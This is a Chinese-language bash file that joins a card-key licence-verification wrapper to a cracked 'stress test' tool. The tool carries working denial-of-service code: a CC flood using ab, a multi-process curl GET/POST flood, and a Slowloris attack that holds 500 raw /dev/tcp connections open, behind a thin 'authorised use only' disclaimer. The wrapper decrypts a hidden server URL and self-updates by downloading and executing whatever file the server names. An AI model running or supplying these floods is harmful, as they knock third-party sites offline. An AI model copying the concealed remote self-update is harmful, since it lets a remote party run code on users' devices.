
#!/bin/bash
#在这里填写应用的APP ID
#然后传输安全那里选择不加密 
#关闭数据签名.同时设置公告不然获取不了
#你的文件可以放在最底部*
#验证登录地址是https://xy.17h.top
app_identifier="10618" # APPID
local_version="1.0" # 版本号判断更新使用
###############配置区#############

key_file_path="/storage/emulated/0/key_storage.txt"
device_code_storage="/storage/emulated/0/device_code_storage.txt"
function echo_in_color {
    local color=$1
    local text=$2
    case $color in
        "red") echo -e "\e[31m$text\e[0m" ;;
        "green") echo -e "\e[32m$text\e[0m" ;;
        "yellow") echo -e "\e[33m$text\e[0m" ;;
        "blue") echo -e "\e[34m$text\e[0m" ;;
        "purple") echo -e "\e[35m$text\e[0m" ;;
        "cyan") echo -e "\e[36m$text\e[0m" ;;
        *) echo "$text" ;;
    esac
}
echo "请选择你要使用的颜色:"
echo "1. 红色"
echo "2. 绿色"
echo "3. 黄色" 
echo "4. 蓝色"
echo "5. 紫色"
echo "6. 青色"
read -p "请输入数字(1-6)回车默认绿色: " color_choice

case $color_choice in
    1) display_color="red" ;;
    2) display_color="green" ;;
    3) display_color="yellow" ;;
    4) display_color="blue" ;;
    5) display_color="purple" ;;
    6) display_color="cyan" ;;
    *) display_color="green" ;; # 默认使用绿色
esac

function echo_text {
    echo_in_color "$display_color" "$1"
}
echo_text "小优网络验证免费验证系统-b6w.cn"
echo_text "正在连接服务器，请稍等......"
encrypted_url="U2FsdGVkX18TqNX5xqN/Oe68Qoklo03iq7CvrcEJnp0np/4hWyMcKsgetku/a7NK"
function decrypt_url {
    local encrypted="$1"
    local passphrase="xy17htop2024"
    echo "$encrypted" | openssl enc -aes-256-cbc -d -a -pass pass:$passphrase 2>/dev/null
}

function attempt_connection {
    while true; do
        decoded_url=$(decrypt_url "$encrypted_url")
        server_ip=$(curl -s -o /dev/null -w '%{remote_ip}' "$decoded_url")

        if [ -n "$server_ip" ]; then
            echo_text "服务器连接成功，正在获取配置....."
            echo_text "当前服务节点IP是: $server_ip"
            break
        else
            echo_text "连接失败，稍后将重新尝试连接"
            sleep 2
        fi
    done
}
attempt_connection

function fetch_app_announcement() {
    local decoded_url=$(decrypt_url "$encrypted_url")
    local api_endpoint="${decoded_url}/api.php?api=notice&app=${app_identifier}"
    local response

    while true; do
        response=$(curl -s "${api_endpoint}")
        
        if [[ $(echo "$response" | base64 -d 2>/dev/null) ]]; then
            response=$(echo "$response" | base64 -d)
        fi
        
        announcement=$(echo "$response" | grep -o '"app_gg":"[^"]*"' | cut -d'"' -f4)
        if [ -n "$announcement" ]; then
            break
        else
            echo_text "获取公告失败，重试中...重新获取的公告会重新显示在下方"
            sleep 2
        fi
    done

    echo "$announcement"
}

announcement=$(fetch_app_announcement)
echo_text "应用公告:"
echo_text "${announcement}"
echo

if [[ -f "$device_code_storage" ]]; then
    device_code=$(cat "$device_code_storage")
else
    device_code=$(printf '12:34:56:%02x:%02x:%02x\n' $((RANDOM%256)) $((RANDOM%256)) $((RANDOM%256)))
    echo "$device_code" > "$device_code_storage"
fi

if [[ -z $device_code ]]; then
    echo_text "无法获取设备码！"
fi

function version_compare() {
    echo | awk -v ver1="$1" -v ver2="$2" '
    BEGIN {
        if (ver1 == ver2) exit 0
        split(ver1, a, ".")
        split(ver2, b, ".")
        for (i = 1; i <= 3; i++) {
            if (a[i] < b[i]) exit 1
            if (a[i] > b[i]) exit 2
        }
    }'
    return $?
}

function check_update() {
    local server_version=$1
    local update_url=$2
    
    version_compare "$local_version" "$server_version"
    local compare_result=$?
    
    if [ $compare_result -eq 1 ]; then
        echo_text "发现新版本: $server_version"
        echo_text "当前版本: $local_version"
        echo_text "正在下载更新..."
        current_script=$(readlink -f "$0")
        if curl -o "${current_script}.new" "$update_url"; then
            chmod +x "${current_script}.new"
            rm "$current_script"
            mv "${current_script}.new" "$current_script"
            
            echo_text "更新完成，请重启程序..."
            exec "$current_script"
        else
            echo_text "更新下载失败!"
            rm -f "${current_script}.new"
        fi
    else
        echo_text "当前已是最新版本($local_version)，无需更新。"
    fi
}

function make_request() {
    local action=$1
    local key=$2
    local current_time=$(date +%s)
    local signature=$(echo -n "kami=${key}&markcode=${device_code}&t=${current_time}&${appkey}" | md5sum | awk '{print $1}')
    local request_data="kami=${key}&markcode=${device_code}&t=${current_time}"
    local encoded_data=$(echo -n "$request_data" | base64)
    local decoded_url=$(decrypt_url "$encrypted_url")
    local api_endpoint="${decoded_url}/api.php?api=${action}&app=${app_identifier}&kami=${key}&markcode=${device_code}&t=${current_time}&data=${encoded_data}&sign=${signature}"
    local response
    local max_retries=5
    local attempt=0

    while [ $attempt -lt $max_retries ]; do
        response=$(curl -s "${api_endpoint}")

        if echo "$response" | jq -e . >/dev/null 2>&1; then
            decoded_response="$response"
        else
            decoded_response=$(echo "$response" | base64 -d 2>/dev/null || echo "$response")
        fi

        if [[ -n "$decoded_response" ]]; then
            break
        else
            echo_text "请求失败，正在重新向服务器发送请求中... ($((++attempt))/$max_retries)"
            sleep 2
        fi
    done

    if [[ -z "$decoded_response" ]]; then
        echo_text "请求失败，已达到最大重试次数。请退出重新执行看看"
        return
    fi

    if [[ $action == "ini" ]]; then
        local server_version=$(echo "$decoded_response" | grep -o '"version":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
        local update_url=$(echo "$decoded_response" | grep -o '"app_update_url":"[^"]*"' | awk -F':"' '{print $2}' | tr -d '"')
        
        echo "应用版本号:" $server_version
        echo "应用版本信息:" $(echo "$decoded_response" | grep -o '"version_info":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
        echo "应用更新说明:" $(echo "$decoded_response" | grep -o '"app_update_show":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
        echo "更新链接:" $update_url
        
        check_update "$server_version" "$update_url"
    fi

    if [[ $action == "kmlogon" ]]; then
        response_code=$(echo "$decoded_response" | grep -o '"code":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
        if [[ $response_code == "200" ]]; then
            key=$(echo "$decoded_response" | grep -o '"kami":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
            expiry_time=$(echo "$decoded_response" | grep -o '"vip":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
            echo_text "登录成功！"
            echo_text "卡密：$key"
            echo_text "到期时间："$(date -d @"$expiry_time" "+%Y-%m-%d %H:%M:%S")
            echo "$key" > "$key_file_path"
            logged_in=true 
        else
            response_message=$(echo "$decoded_response" | grep -o '"msg":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
            echo_text "错误代码：$response_code"
            echo_text "返回信息：$response_message"
        fi
    fi

    if [[ $action == "kmunmachine" ]]; then
        echo_text $(echo "$decoded_response" | grep -o '"msg":[^,}]*' | awk -F':' '{print $2}' | tr -d '" ')
    fi
}

# 启动时先检查更新
make_request "ini"

logged_in=false
while true; do
    if [[ $logged_in == true ]]; then
        break
    fi
    echo_text "恭喜宿主获得选项:"
    echo_text "1. 卡密登录模式"
    echo_text "2. 卡密解绑模式"
    echo_text "3. 获取应用配置"
    echo_text "4. 更换卡密"
    echo_text "5. 退出脚本"
    echo -n "$(echo_text "请输入选项: ")"
    read user_option
    case $user_option in
        1)
            if [[ -f "$key_file_path" ]]; then
                stored_key=$(cat "$key_file_path")
                echo_text "读取到卡密: $stored_key"
            else
                echo -n "$(echo_text "请输入卡密: ")"
                read stored_key
                echo "$stored_key" > "$key_file_path"
                echo_text "卡密已记录到文件: $key_file_path"
            fi
            make_request "kmlogon" "$stored_key"
            ;;
        2)
            echo -n "$(echo_text "请输入解绑卡密: ")"
            read unbind_key
            make_request "kmunmachine" "$unbind_key"
            ;;
        3)
            make_request "ini"
            ;;
        4)
            echo -n "$(echo_text "请输入新的卡密: ")"
            read new_key
            echo "$new_key" > "$key_file_path"
            echo_text "卡密已更换为: $new_key"
            ;;
        5)
            exit 0
            ;;
    esac
done
#!/bin/bash
# 压力测试工具脚本
# 仅用于授权测试，请勿用于非法用途

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色

# 显示标题
show_header() {
    clear
    echo -e "${BLUE}=================================${NC}"
    echo -e "${BLUE}   压力测试工具 v1.0   破解认准@MXHGGX          ${NC}"
    echo -e "${BLUE}=================================${NC}"
    echo -e "${YELLOW}警告：仅用于授权测试！${NC}"
    echo ""
}

# 检查依赖
check_dependencies() {
    echo -e "${BLUE}[*] 检查依赖工具...${NC}"
    
    local missing=0
    
    # 检查常见压力测试工具
    if command -v ab &> /dev/null; then
        echo -e "${GREEN}[√] Apache Bench (ab) 已安装${NC}"
    else
        echo -e "${RED}[×] Apache Bench (ab) 未安装${NC}"
        missing=1
    fi
    
    if command -v siege &> /dev/null; then
        echo -e "${GREEN}[√] Siege 已安装${NC}"
    else
        echo -e "${YELLOW}[!] Siege 未安装 (可选)${NC}"
    fi
    
    if command -v curl &> /dev/null; then
        echo -e "${GREEN}[√] curl 已安装${NC}"
    else
        echo -e "${RED}[×] curl 未安装${NC}"
        missing=1
    fi
    
    if command -v wget &> /dev/null; then
        echo -e "${GREEN}[√] wget 已安装${NC}"
    else
        echo -e "${YELLOW}[!] wget 未安装 (可选)${NC}"
    fi
    
    if [ $missing -eq 1 ]; then
        echo -e "\n${YELLOW}缺少必要依赖，是否安装？(y/n)${NC}"
        read -r install_choice
        if [[ "$install_choice" =~ ^[Yy]$ ]]; then
            install_dependencies
        fi
    fi
}

# 安装依赖
install_dependencies() {
    echo -e "${BLUE}[*] 安装依赖...${NC}"
    
    if [ -f /etc/debian_version ]; then
        # Debian/Ubuntu
        sudo apt update
        sudo apt install -y apache2-utils siege curl wget
        
    elif [ -f /etc/redhat-release ]; then
        # RHEL/CentOS
        sudo yum install -y httpd-tools siege curl wget
        
    elif [ -f /etc/arch-release ]; then
        # Arch Linux
        sudo pacman -Syu --noconfirm apache siege curl wget
        
    elif [[ "$OSTYPE" == "darwin"* ]]; then
        # macOS
        brew install apache2 siege curl wget
        
    else
        echo -e "${RED}[×] 无法自动安装，请手动安装以下工具：${NC}"
        echo "  - apache2-utils (包含ab工具)"
        echo "  - siege"
        echo "  - curl"
        echo "  - wget"
        return 1
    fi
    
    echo -e "${GREEN}[√] 依赖安装完成${NC}"
}

# CC攻击模式 (模拟大量并发请求)
cc_attack() {
    echo -e "${BLUE}[*] CC压力测试模式${NC}"
    echo ""
    
    # 获取目标URL
    read -p "请输入目标URL (包含http://或https://): " target_url
    
    if [[ -z "$target_url" ]]; then
        echo -e "${RED}[×] URL不能为空${NC}"
        return 1
    fi
    
    # 验证URL格式
    if [[ ! "$target_url" =~ ^https?:// ]]; then
        echo -e "${YELLOW}[!] URL格式不正确，添加http://前缀${NC}"
        target_url="http://$target_url"
    fi
    
    # 测试连接
    echo -e "${BLUE}[*] 测试连接...${NC}"
    if ! curl -s --head --fail "$target_url" &> /dev/null; then
        echo -e "${RED}[×] 无法连接到目标URL${NC}"
        return 1
    fi
    echo -e "${GREEN}[√] 连接成功${NC}"
    
    echo ""
    echo "请选择压力测试模式："
    echo "1. 快速测试 (100请求，10并发)"
    echo "2. 标准测试 (1000请求，50并发)"
    echo "3. 高强度测试 (5000请求，100并发)"
    echo "4. 自定义参数"
    echo "5. 返回主菜单"
    
    read -p "请选择 [1-5]: " cc_mode
    
    case $cc_mode in
        1)
            requests=100
            concurrency=10
            ;;
        2)
            requests=1000
            concurrency=50
            ;;
        3)
            requests=5000
            concurrency=100
            ;;
        4)
            read -p "请求总数: " requests
            read -p "并发数: " concurrency
            ;;
        5)
            return 0
            ;;
        *)
            echo -e "${RED}[×] 无效选择${NC}"
            return 1
            ;;
    esac
    
    # 确认操作
    echo ""
    echo -e "${YELLOW}即将开始压力测试：${NC}"
    echo "目标URL: $target_url"
    echo "请求总数: $requests"
    echo "并发数: $concurrency"
    echo ""
    read -p "确认开始测试？(y/n): " confirm
    
    if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
        echo -e "${YELLOW}[!] 已取消${NC}"
        return 0
    fi
    
    # 开始测试
    echo -e "${BLUE}[*] 开始CC压力测试...${NC}"
    echo -e "${YELLOW}按Ctrl+C停止测试${NC}"
    echo ""
    
    # 使用ab进行测试
    if command -v ab &> /dev/null; then
        echo "使用Apache Bench进行测试..."
        echo "=========================================="
        ab -n "$requests" -c "$concurrency" -k "$target_url"
    else
        echo -e "${RED}[×] ab工具未找到${NC}"
        return 1
    fi
    
    echo ""
    echo -e "${GREEN}[√] 压力测试完成${NC}"
    read -p "按Enter键继续..."
}

# HTTP洪水攻击模式
http_flood() {
    echo -e "${BLUE}[*] HTTP洪水攻击模式${NC}"
    echo ""
    
    read -p "请输入目标URL (包含http://或https://): " target_url
    
    if [[ -z "$target_url" ]]; then
        echo -e "${RED}[×] URL不能为空${NC}"
        return 1
    fi
    
    if [[ ! "$target_url" =~ ^https?:// ]]; then
        target_url="http://$target_url"
    fi
    
    # 测试连接
    echo -e "${BLUE}[*] 测试连接...${NC}"
    if ! curl -s --head --fail "$target_url" &> /dev/null; then
        echo -e "${RED}[×] 无法连接到目标URL${NC}"
        return 1
    fi
    echo -e "${GREEN}[√] 连接成功${NC}"
    
    echo ""
    echo "请选择攻击模式："
    echo "1. GET请求洪水"
    echo "2. POST请求洪水"
    echo "3. 混合请求洪水"
    echo "4. 返回主菜单"
    
    read -p "请选择 [1-4]: " flood_mode
    
    case $flood_mode in
        1|2|3)
            read -p "攻击持续时间(秒): " duration
            read -p "并发线程数: " threads
            
            if [[ -z "$duration" ]] || [[ -z "$threads" ]]; then
                echo -e "${RED}[×] 参数不能为空${NC}"
                return 1
            fi
            
            # 确认操作
            echo ""
            echo -e "${YELLOW}即将开始HTTP洪水攻击：${NC}"
            echo "目标URL: $target_url"
            echo "持续时间: ${duration}秒"
            echo "并发线程: $threads"
            echo ""
            read -p "确认开始攻击？(y/n): " confirm
            
            if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
                echo -e "${YELLOW}[!] 已取消${NC}"
                return 0
            fi
            
            # 开始攻击
            echo -e "${BLUE}[*] 开始HTTP洪水攻击...${NC}"
            echo -e "${YELLOW}按Ctrl+C停止攻击${NC}"
            
            # 简单的HTTP洪水脚本
            flood_attack() {
                local url=$1
                local dur=$2
                local thr=$3
                local mode=$4
                
                end_time=$((SECONDS + dur))
                
                # 创建多个并发进程
                for ((i=0; i<thr; i++)); do
                    (
                        while [ $SECONDS -lt $end_time ]; do
                            case $mode in
                                1)
                                    # GET请求
                                    curl -s -k "$url" > /dev/null 2>&1
                                    ;;
                                2)
                                    # POST请求
                                    curl -s -k -X POST "$url" -d "test=data$RANDOM" > /dev/null 2>&1
                                    ;;
                                3)
                                    # 混合请求
                                    if [ $((RANDOM % 2)) -eq 0 ]; then
                                        curl -s -k "$url" > /dev/null 2>&1
                                    else
                                        curl -s -k -X POST "$url" -d "test=data$RANDOM" > /dev/null 2>&1
                                    fi
                                    ;;
                            esac
                        done
                    ) &
                done
                
                # 等待指定时间
                sleep "$dur"
                
                # 停止所有后台进程
                kill $(jobs -p) 2>/dev/null
                wait 2>/dev/null
            }
            
            flood_attack "$target_url" "$duration" "$threads" "$flood_mode"
            
            echo ""
            echo -e "${GREEN}[√] HTTP洪水攻击完成${NC}"
            ;;
        4)
            return 0
            ;;
        *)
            echo -e "${RED}[×] 无效选择${NC}"
            return 1
            ;;
    esac
    
    read -p "按Enter键继续..."
}

# 慢速攻击模式
slow_attack() {
    echo -e "${BLUE}[*] 慢速攻击模式 (Slowloris)${NC}"
    echo ""
    
    read -p "请输入目标IP或域名: " target
    read -p "请输入目标端口 (默认80): " port
    port=${port:-80}
    
    echo ""
    echo "慢速攻击会长时间保持HTTP连接，消耗服务器资源"
    echo "此攻击可能需要root权限"
    echo ""
    read -p "确认开始慢速攻击？(y/n): " confirm
    
    if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
        echo -e "${YELLOW}[!] 已取消${NC}"
        return 0
    fi
    
    # 简单的慢速攻击脚本
    echo -e "${BLUE}[*] 开始慢速攻击...${NC}"
    echo -e "${YELLOW}按Ctrl+C停止攻击${NC}"
    
    slowloris() {
        local host=$1
        local port=$2
        local sockets=500
        
        echo "攻击目标: $host:$port"
        echo "创建 $sockets 个慢速连接..."
        
        # 创建多个保持连接的请求
        for i in $(seq 1 "$sockets"); do
            (
                exec 3<>/dev/tcp/"$host"/"$port"
                echo -e "GET / HTTP/1.1\r\nHost: $host\r\nUser-Agent: Mozilla/5.0\r\n" >&3
                
                # 保持连接，定期发送空行
                while true; do
                    echo -e "X-a: $RANDOM\r\n" >&3
                    sleep 30
                done
            ) 2>/dev/null &
        done
        
        echo "攻击进行中，按Ctrl+C停止..."
        wait
    }
    
    # 尝试执行，如果失败则提示
    slowloris "$target" "$port" || {
        echo -e "${RED}[×] 攻击失败，可能需要root权限或目标不可达${NC}"
    }
    
    read -p "按Enter键继续..."
}

# 显示免责声明
show_disclaimer() {
    echo -e "${RED}=====================================================${NC}"
    echo -e "${RED}                    重要声明  (@MXHGGX贫道只负责破解，不管使用效果)${NC}"
    echo -e "${RED}=====================================================${NC}"
    echo ""
    echo -e "${YELLOW}1. 本工具仅用于学习和授权测试目的${NC}"
    echo -e "${YELLOW}2. 禁止对未授权的系统进行压力测试${NC}"
    echo -e "${YELLOW}3. 使用本工具造成的任何后果由使用者承担${NC}"
    echo -e "${YELLOW}4. 请在法律允许范围内使用本工具${NC}"
    echo -e "${YELLOW}！！！此脚本不关MXHGGX任何内容！！！{NC}"
    echo ""
    echo -e "${RED}未经授权进行压力测试可能构成违法行为！${NC}"
    echo ""
}

# 主菜单
main_menu() {
    while true; do
        show_header
        
        echo "请选择压力测试模式："
        echo "1. CC攻击模式 (并发连接压力测试)"
        echo "2. HTTP洪水攻击模式"
        echo "3. 慢速攻击模式 (Slowloris)"
        echo "4. 安装依赖工具"
        echo "5. 显示免责声明"
        echo "6. 退出"
        echo ""
        
        read -p "请选择 [1-6]: " choice
        
        case $choice in
            1)
                cc_attack
                ;;
            2)
                http_flood
                ;;
            3)
                slow_attack
                ;;
            4)
                install_dependencies
                read -p "按Enter键继续..."
                ;;
            5)
                show_disclaimer
                read -p "按Enter键继续..."
                ;;
            6)
                echo -e "${GREEN}[*] 退出压力测试工具${NC}"
                exit 0
                ;;
            *)
                echo -e "${RED}[×] 无效选择，请重新输入${NC}"
                sleep 2
                ;;
        esac
    done
}

# 脚本入口
if [[ "$1" == "--disclaimer" ]]; then
    show_disclaimer
    exit 0
fi

# 检查是否为root用户
if [[ $EUID -eq 0 ]]; then
    echo -e "${YELLOW}[!] 警告：以root用户运行可能具有危险性${NC}"
    read -p "是否继续？(y/n): " root_continue
    if [[ ! "$root_continue" =~ ^[Yy]$ ]]; then
        exit 1
    fi
fi

# 显示免责声明
show_disclaimer
read -p "我已阅读并同意上述声明 (y/n): " agree

if [[ ! "$agree" =~ ^[Yy]$ ]]; then
    echo -e "${YELLOW}[!] 您必须同意声明才能使用本工具${NC}"
    exit 1
fi

# 检查依赖
check_dependencies

# 显示主菜单
main_menu
 # 下方填写你的功能上方的全部都是验证配置
 # 直接在下方填写就行注意验证登录地址是https://xy.17h.top/
 # 自己去注册，完全免费.长久免费运营
 #传输安全那里选择不加密
 #关闭数据签名.同时设置公告不然获取不了
 #切记不要忘记填写公告，填写啥都行，不要忘记填写，不然无法获取，一直在获取公告，获取不了 
 #感谢您的选择官方网站b6w.cn
 #通用反馈交流群725906053
 #通知群全体禁言.但是有更新都会发送.因为全体禁言，所以说不会被消息覆盖都能看见更新874694895满了可以加第二个通知群
